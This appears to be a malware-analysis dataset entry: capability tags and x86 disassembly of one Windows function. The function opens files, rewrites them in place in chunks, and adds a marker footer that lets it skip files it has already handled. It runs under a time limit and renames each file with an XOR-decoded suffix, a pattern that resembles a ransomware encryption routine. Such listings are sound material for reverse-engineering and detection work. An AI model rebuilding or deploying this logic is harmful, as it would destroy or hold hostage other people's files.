Function at 0x402c17
Capabilities:
Check for time delay via gettickcount
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38c
push ebx
push esi
xor eax, eax
mov esi, edx
push edi
mov edi, ecx
mov dword [esp + 0x58], esi
push esi
mov dword [esp + 0x48], edi
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
xor eax, eax
inc eax
cmp ebx, 0xffffffff
je 0x402c7a
test al, bl
je 0x402c7a
xor ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x402c7a
mov edx, esi
call fcn.00407ea2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x50], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x402ce6
cmp eax, 0x20
je 0x402cad
cmp eax, 0x21
jne 0x402cde
mov edx, esi
call fcn.00407ea2
mov ecx, esi
call fcn.0040a15b
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x50], ebx
cmp ebx, 0xffffffff
jne 0x402ce6
push 2
pop eax
jmp 0x403cdc
lea eax, [esp + 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x30]
or eax, dword [esp + 0x34]
jne 0x402d08
push 3
pop eax
mov dword [esp + 0x6c], eax
jmp 0x403429
push 0xa0
lea ecx, [esp + 0x1e4]
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0x1a4]
push 0x1e
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0x8c]
push 0x16
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0xa4]
push 0x14
pop eax
push eax
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0xb8]
push 0x38
call fcn.00406d67
mov edx, dword [esp + 0x38]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x402d94
jg 0x402d77
mov ecx, dword [esp + 0x30]
cmp ecx, 0x1e
jbe 0x402d98
push eax
lea eax, [esp + 0x18]
push eax
push 0x1e
lea eax, [esp + 0x1b0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x34]
xor eax, eax
mov ecx, dword [esp + 0x30]
cmp dword [esp + 0x1a4], 0x4034b50
jne 0x402e13
cmp edx, eax
jl 0x402e13
jg 0x402db0
cmp ecx, 0x62
jbe 0x402e13
push 2
push eax
push 0xffffffffffffffff
push 0xffffffffffffff9e
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x38
lea eax, [esp + 0xc4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xb0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x16
lea eax, [esp + 0x98]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
cmp dword [esp + 0xb8], 0x6064b50
jne 0x402e8f
cmp dword [esp + 0xa4], 0x7064b50
jne 0x402e8f
cmp dword [esp + 0x8c], 0x6054b50
jne 0x402e8f
xor eax, eax
cmp dword [esp + 0xec], eax
jl 0x402e8f
mov eax, dword [esp + 0xe8]
jg 0x402e55
cmp eax, 0xa0
jbe 0x402e8f
sub eax, 0xa0
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0xec]
sbb eax, 0
cmp edx, eax
jl 0x402e8f
jg 0x402e74
cmp ecx, dword [esp + 0x7c]
jbe 0x402e8f
mov eax, dword [esp + 0xe8]
sub eax, ecx
mov ecx, dword [esp + 0xec]
push 2
sbb ecx, edx
xor edx, edx
push edx
push ecx
push eax
jmp 0x402ea5
push 2
xor ecx, ecx
xorps xmm0, xmm0
push ecx
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 1
xor eax, eax
push eax
push 0xffffffffffffffff
push 0xffffff60
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x278], 0x57ea6b66
jne 0x402efc
cmp dword [esp + 0x27c], 0x6616be1a
jne 0x402efc
push 4
jmp 0x402cfe
push 0xa0
lea ecx, [esp + 0x1e4]
call fcn.00406d67
add esp, 4
mov edi, 0x412e98
mov edx, edi
push 0x20
call fcn.00406d88
pop ecx
push 0x20
mov edx, 0x412eb8
lea ecx, [esp + 0x204]
call fcn.00406d88
pop ecx
push 0x20
mov edx, 0x412ed8
lea ecx, [esp + 0x224]
call fcn.00406d88
pop ecx
lea edx, [esp + 0x2a0]
call fcn.004084d1
push 0x4011f8
lea edx, [esp + 0x2a4]
lea ecx, [esp + 0x244]
call fcn.004055d8
pop ecx
push edi
lea edx, [esp + 0x2a4]
lea ecx, [esp + 0x284]
call fcn.004055d8
pop ecx
lea eax, [esp + 0xf0]
push eax
lea ecx, [esp + 0x284]
call fcn.0040688b
pop ecx
push 0x40
lea ecx, [esp + 0x2a4]
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0x280]
push 0x20
call fcn.00406d67
mov ax, word [0x412e55]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x402fcc
mov dword [esp + 0x38], ecx
jmp 0x402fd3
movzx eax, ax
mov dword [esp + 0x38], eax
mov edi, dword [esp + 0x34]
xor eax, eax
push eax
push ecx
push edi
push dword [esp + 0x3c]
call fcn.0040daf0
xor ecx, ecx
push ecx
push dword [esp + 0x3c]
push edx
push eax
call fcn.0040dba0
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.0040daf0
add eax, 1
mov ecx, edx
push 0
pop edx
adc ecx, edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x48], ecx
cmp ecx, edx
jg 0x40302b
jl 0x40301f
cmp eax, 3
jae 0x40302b
mov dword [esp + 0x3c], 3
mov dword [esp + 0x48], edx
cmp edi, edx
jg 0x403048
jl 0x40303b
cmp dword [esp + 0x30], 0x20000
jae 0x403048
xor edi, edi
mov dword [esp + 0x68], edx
inc edi
mov dword [esp + 0x54], edi
jmp 0x403090
push edx
push 0x20000
push edi
push dword [esp + 0x3c]
call fcn.0040daf0
mov ecx, edx
mov edi, eax
mov edx, edi
mov dword [esp + 0x54], edi
mov eax, ecx
mov dword [esp + 0x68], ecx
shld eax, edx, 0x11
shl edx, 0x11
cmp dword [esp + 0x34], eax
jl 0x40308d
jg 0x40307d
cmp dword [esp + 0x30], edx
jb 0x40308d
add edi, 1
push 0
pop eax
adc ecx, eax
mov dword [esp + 0x54], edi
mov dword [esp + 0x68], ecx
xor edi, edi
inc edi
mov ecx, esi
call fcn.00409e8f
xor edx, edx
mov dword [esp + 0x7c], 0x2f
mov ecx, edx
jmp 0x4030ca
movzx edx, word [esi + eax*2]
push 0x5c
pop ebx
cmp dx, bx
mov ebx, dword [esp + 0x50]
je 0x4030d0
cmp dx, word [esp + 0x7c]
je 0x4030d0
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x4030a5
jl 0x4030d5
cmp eax, edx
ja 0x4030a5
jmp 0x4030d5
push 0
add eax, edi
pop edx
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
lea edi, [esi + eax*2]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x7c], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x50]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea eax, [esp + 0x118]
push eax
lea edx, [esp + 0xfc]
lea ecx, [esp + 0x2ec]
call fcn.004026f8
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x38], eax
xorps xmm0, xmm0
mov eax, dword [esp + 0x54]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x5c], eax
xor eax, eax
movlpd qword [esp + 0x60], xmm0
cmp dword [esp + 0x34], eax
jg 0x4034b7
jl 0x40316e
cmp dword [esp + 0x30], 0x40000000
jae 0x4034b7
mov esi, dword [esp + 0x3c]
lea ecx, [esi*8 + 8]
call fcn.00406d0f
mov ecx, eax
xor eax, eax
mov dword [esp + 0x70], ecx
test ecx, ecx
je 0x40341c
cmp esi, eax
jne 0x4031b3
cmp dword [esp + 0x48], eax
jne 0x4031b3
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x40], eax
jmp 0x403412
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x40], edi
mov eax, dword [esp + 0x78]
or eax, dword [esp + 0x5c]
je 0x40340e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x38]
cmp eax, 0x927c0
jae 0x40340e
xor eax, eax
push eax
push 2
push dword [esp + 0x64]
push dword [esp + 0x84]
call fcn.0040daf0
xorps xmm0, xmm0
mov dword [esp + 0x78], eax
mov dword [esp + 0x5c], edx
movlpd qword [esp + 0x18], xmm0
cmp edi, dword [esp + 0x3c]
jne 0x403226
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x2c], eax
je 0x40340e
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x60], edx
cmp eax, dword [esp + 0x68]
jg 0x4033f6
jl 0x40324c
cmp edx, dword [esp + 0x54]
jae 0x4033f6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x38]
cmp eax, 0x927c0
jae 0x4033f6
mov edx, dword [esp + 0x60]
mov eax, edx
or eax, dword [esp + 0x4c]
je 0x4032a9
add edx, dword [esp + 0x78]
mov eax, dword [esp + 0x5c]
adc eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x60], edx
mov dword [esp + 0x4c], eax
cmp eax, ecx
jl 0x4032ad
jg 0x403291
cmp edx, dword [esp + 0x54]
jb 0x4032ad
mov edx, dword [esp + 0x54]
mov eax, ecx
sub edx, 1
push 0
pop ecx
sbb eax, ecx
mov dword [esp + 0x60], edx
mov dword [esp + 0x4c], eax
jmp 0x4032af
mov eax, dword [esp + 0x4c]
xor ecx, ecx
xorps xmm0, xmm0
cmp edi, ecx
mov ecx, dword [esp + 0x2c]
movlpd qword [esp + 0x80], xmm0
jne 0x4032c7
test ecx, ecx
je 0x403335
mov ebx, dword [esp + 0x84]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x80]
mov dword [esp + 0x80], ebx
mov esi, dword [esp + 0x80]
mov ebx, dword [esp + 0x70]
cmp dword [ebx + esi*8], edx
mov ebx, dword [esp + 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x403319
mov esi, dword [esp + 0x80]
mov ebx, dword [esp + 0x70]
cmp dword [ebx + esi*8 + 4], eax
mov ebx, dword [esp + 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x4033d4
add dword [esp + 0x80], 1
adc dword [esp + 0x18], 0
cmp dword [esp + 0x80], edi
jne 0x4032e0
cmp dword [esp + 0x18], ecx
jne 0x4032e0
xor edi, edi
mov ecx, edx
push edi
shld eax, ecx, 0x11
push edi
push eax
shl ecx, 0x11
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push edi
mov edi, dword [esp + 0x48]
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x2e4]
call fcn.0040273e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
mov edi, dword [esp + 0x40]
mov ecx, dword [esp + 0x2c]
add edi, 1
mov ebx, dword [esp + 0x70]
mov edx, dword [esp + 0x60]
push 0
pop eax
adc ecx, eax
mov dword [esp + 0x40], edi
mov eax, dword [esp + 0x70]
mov dword [esp + 0x2c], ecx
mov dword [eax + edi*8], edx
mov eax, dword [esp + 0x4c]
mov dword [ebx + edi*8 + 4], eax
mov ebx, dword [esp + 0x50]
add edx, 1
mov dword [esp + 0x60], edx
adc eax, 0
mov dword [esp + 0x4c], eax
cmp edi, dword [esp + 0x3c]
jne 0x403236
cmp ecx, dword [esp + 0x48]
jne 0x403236
cmp edi, dword [esp + 0x3c]
jne 0x4031c9
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x2c], eax
jne 0x4031c9
mov ecx, dword [esp + 0x70]
call fcn.00406db4
jmp 0x4035bd
inc eax
mov dword [esp + 0x6c], eax
mov edi, dword [esp + 0x44]
mov esi, dword [esp + 0x58]
push 0x40
lea ecx, [esp + 0xf4]
call fcn.00406d67
add esp, 4
lea ecx, [esp + 0x2e0]
push 0xb8
call fcn.00406d67
add esp, 4
cmp ebx, 0xffffffff
je 0x40345a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x6c]
test ebx, ebx
jne 0x403cda
cmp byte [0x412e57], bl
jne 0x403476
cmp byte [0x412e58], bl
je 0x40349a
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40349a
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x403c80
xor eax, eax
mov ebx, eax
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [edi + 4]
mov ecx, esi
call fcn.00409e8f
xor edx, edx
mov ecx, edx
jmp 0x403c9f
mov esi, dword [esp + 0x48]
cmp esi, eax
jl 0x4034d6
mov ecx, 0x1000
jg 0x4034cc
cmp dword [esp + 0x3c], ecx
jbe 0x4034d6
mov esi, eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x48], esi
push eax
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
cmp dword [esp + 0x3c], eax
jne 0x4034fd
cmp esi, eax
je 0x403421
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [esp + 0x44]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x38]
cmp eax, 0x927c0
jae 0x4035bd
xor eax, eax
push eax
lea eax, [esp + 0x18]
push eax
push 0x20000
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x14]
mov edx, dword [edi]
lea ecx, [esp + 0x2e4]
call fcn.0040273e
pop ecx
mov ecx, dword [esp + 0x14]
xor eax, eax
push eax
pop edx
neg ecx
push 1
adc eax, edx
push edx
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
push 0
pop eax
xor ecx, ecx
inc ecx
add dword [esp + 0x40], ecx
push ecx
adc dword [esp + 0x30], eax
push eax
push eax
push 0x20000
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4035bd
mov eax, dword [esp + 0x3c]
cmp dword [esp + 0x40], eax
jne 0x403517
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x2c], eax
jne 0x403517
xor eax, eax
cmp dword [esp + 0x2c], eax
jl 0x403421
jg 0x4035d5
cmp dword [esp + 0x40], eax
jbe 0x403421
mov edi, dword [esp + 0x44]
push dword [esp + 0x58]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x412ef8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0xf0]
call fcn.0040565c
cmp byte [0x412e57], 0
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x260], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x270], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x274], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x264], eax
mov dword [esp + 0x268], ecx
mov dword [esp + 0x278], 0x57ea6b66
mov dword [esp + 0x27c], 0x6616be1a
je 0x403c3e
push 0x2d
pop eax
mov word [esp + 0xf0], ax
mov ebx, 0xffff
xor eax, eax
mov ecx, ebx
mov word [esp + 0xf2], ax
mov eax, dword [0x411d49]
neg eax
sbb eax, eax
and eax, 8
mov word [esp + 0xf4], ax
call fcn.00408423
mov ecx, ebx
mov word [esp + 0xf6], ax
call fcn.00408423
mov edx, dword [0x411d49]
lea esi, [esp + 0xf0]
mov ebx, dword [0x40fd45]
lea edi, [esp + 0x1a8]
mov word [esp + 0xf8], ax
test edx, edx
mov eax, dword [0x41377c]
mov dword [esp + 0xfa], eax
mov eax, ebx
cmovne eax, edx
mov dword [esp + 0x102], ebx
mov dword [esp + 0xfe], eax
mov eax, dword [0x40fcc1]
push 6
mov word [esp + 0x10a], ax
pop ecx
mov dword [esp + 0x1a4], 0x4034b50
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0x10a], 0x800
test edx, edx
mov word [esp + 0x1c0], cx
push 0x2d
cmovne ebx, edx
mov esi, 0xffff
add eax, 0x1e
mov ecx, esi
add eax, ebx
mov dword [esp + 0x3c], eax
pop eax
mov word [esp + 0x108], ax
call fcn.00408423
mov ecx, esi
mov word [esp + 0x10e], ax
call fcn.00408423
or ecx, 0xffffffff
mov word [esp + 0x110], ax
call fcn.00408423
or dword [esp + 0x116], 0xffffffff
lea esi, [esp + 0x108]
or dword [esp + 0x11a], 0xffffffff
lea edi, [esp + 0x1c6]
mov edx, dword [esp + 0x74]
push 6
pop ecx
mov dword [esp + 0x112], eax
push 0x14
pop eax
mov word [esp + 0x11e], dx
mov dword [esp + 0x1c2], 0x4034b50
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x30]
mov word [esp + 0x1de], ax
xor eax, eax
inc eax
add ecx, 0xa0
push 0x10
mov word [esp + 0x8c], ax
pop eax
mov word [esp + 0x8a], ax
mov eax, dword [esp + 0x34]
push 0
pop esi
adc eax, esi
mov dword [esp + 0x130], ecx
mov dword [esp + 0x138], ecx
lea edi, [esp + 0x146]
xor ecx, ecx
mov dword [esp + 0x134], eax
mov dword [esp + 0x13c], eax
movzx eax, dx
cdq
mov ebx, edx
mov dword [esp + 0x140], 0x2014b50
mov edx, dword [esp + 0x38]
add edx, eax
mov dword [esp + 0xb8], 0x6064b50
push 0x3f
adc ecx, ebx
mov dword [esp + 0xc0], 0x2c
add edx, dword [esp + 0x34]
adc ecx, dword [esp + 0x38]
add edx, 0xd2
mov dword [esp + 0x1c], edx
adc ecx, esi
xor edx, edx
mov dword [esp + 0x60], ecx
lea esi, [esp + 0xf4]
pop ecx
push 6
mov word [esp + 0x148], cx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3f
xor ecx, ecx
mov dword [esp + 0x166], edx
pop edx
push 6
mov dword [esp + 0x162], ecx
lea esi, [esp + 0x10c]
mov dword [esp + 0x16a], ecx
lea edi, [esp + 0x178]
mov dword [esp + 0x16e], ecx
pop ecx
push 0x14
mov word [esp + 0x176], dx
xor edx, edx
mov dword [esp + 0x172], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov esi, dword [0x40fcc1]
mov edi, dword [esp + 0x60]
pop ecx
mov word [esp + 0x18c], cx
xor ecx, ecx
push 0
add esi, eax
mov dword [esp + 0x192], ecx
mov word [esp + 0x196], cx
mov dword [esp + 0x198], ecx
adc edx, ebx
mov ecx, dword [esp + 0x3c]
mov ebx, dword [esp + 0x1c]
add esi, ebx
mov dword [esp + 0x19c], ecx
pop ecx
push 0x3f
pop eax
push 0xa
mov word [esp + 0xc8], ax
adc edx, edi
pop eax
add esi, 0x70
mov word [esp + 0xc6], ax
push 2
adc edx, ecx
mov dword [esp + 0xc4], ecx
pop eax
mov dword [esp + 0xc8], ecx
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd4], ecx
mov dword [esp + 0xdc], ecx
mov ecx, esi
mov dword [esp + 0xd0], eax
sub ecx, ebx
mov dword [esp + 0xd8], eax
mov eax, edx
sbb eax, edi
mov dword [esp + 0xe0], ecx
or dword [esp + 0x9c], 0xffffffff
xorps xmm0, xmm0
push 2
pop ecx
mov dword [esp + 0xec], edi
xor edi, edi
push edi
mov dword [esp + 0xe8], eax
xor eax, eax
push edi
mov dword [esp + 0x98], eax
mov word [esp + 0xa8], ax
mov eax, dword [esp + 0x40]
movlpd qword [esp + 0x20], xmm0
add eax, 0x32
push dword [esp + 0x24]
mov dword [esp + 0xbc], edx
mov edx, dword [esp + 0x80]
push dword [esp + 0x24]
mov dword [esp + 0xbc], esi
sub esi, ebx
mov dword [esp + 0xc4], ecx
mov word [esp + 0xa4], cx
mov word [esp + 0xa6], cx
movzx ecx, dx
mov dword [esp + 0xf8], ebx
add eax, ecx
mov ebx, dword [esp + 0x60]
mov dword [esp + 0xa8], esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push ebx
mov dword [esp + 0xb8], 0x7064b50
mov dword [esp + 0xbc], edi
mov dword [esp + 0xa0], 0x6054b50
mov dword [esp + 0x280], eax
call esi
push edi
mov edi, dword [esp + 0x48]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x274]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1b0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
mov eax, dword [0x411d49]
test eax, eax
je 0x403a69
xor ecx, ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push 0x411d4d
jmp 0x403a7c
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fd45]
push 0x40fd49
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x1e
lea eax, [esp + 0x1ce]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x74]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x94]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x13c]
push eax
push ebx
call esi
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push dword [edi]
push ebx
call esi
xor ecx, ecx
cmp ecx, dword [esp + 0x34]
jl 0x403b22
mov eax, dword [esp + 0x30]
jg 0x403b1b
cmp dword [esp + 0x26c], eax
jbe 0x403b22
mov dword [esp + 0x26c], eax
push ecx
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x14c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x2e
lea eax, [esp + 0x17a]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x74]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x94]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x13c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x38
lea eax, [esp + 0xc4]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xb0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0x16
lea eax, [esp + 0x98]
push eax
push ebx
call esi
mov eax, dword [esp + 0x7c]
xor ecx, ecx
mov byte [esp + 0x1a], al
mov eax, ecx
mov word [esp + 0x18], 0x557b
mov dword [esp + 0x1b], 0x25553c55
mov word [esp + 0x1f], 0x5555
mov byte [esp + 0x21], cl
xor byte [esp + eax + 0x18], 0x55
inc eax
cmp eax, 9
jb 0x403c1f
lea eax, [esp + 0x18]
mov byte [esp + 0x21], cl
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403c75
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x20], xmm0
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x14]
push eax
push 0xa0
lea eax, [esp + 0x1ec]
push eax
push ebx
call esi
xor eax, eax
mov dword [esp + 0x6c], eax
jmp 0x403425
push 2
pop eax
mov ebx, eax
jmp 0x403cda
push 0x5c
pop edx
cmp word [esi + eax*2], dx
push 0
pop edx
je 0x403ca5
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, edx
jg 0x403c87
jl 0x403cda
cmp eax, edx
ja 0x403c87
jmp 0x403cda
xor ecx, ecx
push 0x413780
mov word [esi + eax*2 + 2], cx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [edi + 4]
call fcn.00409d93
test eax, eax
jne 0x403cda
push dword [0x40fd45]
mov ecx, dword [edi + 4]
mov edx, 0x40fd49
call fcn.00409de1
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret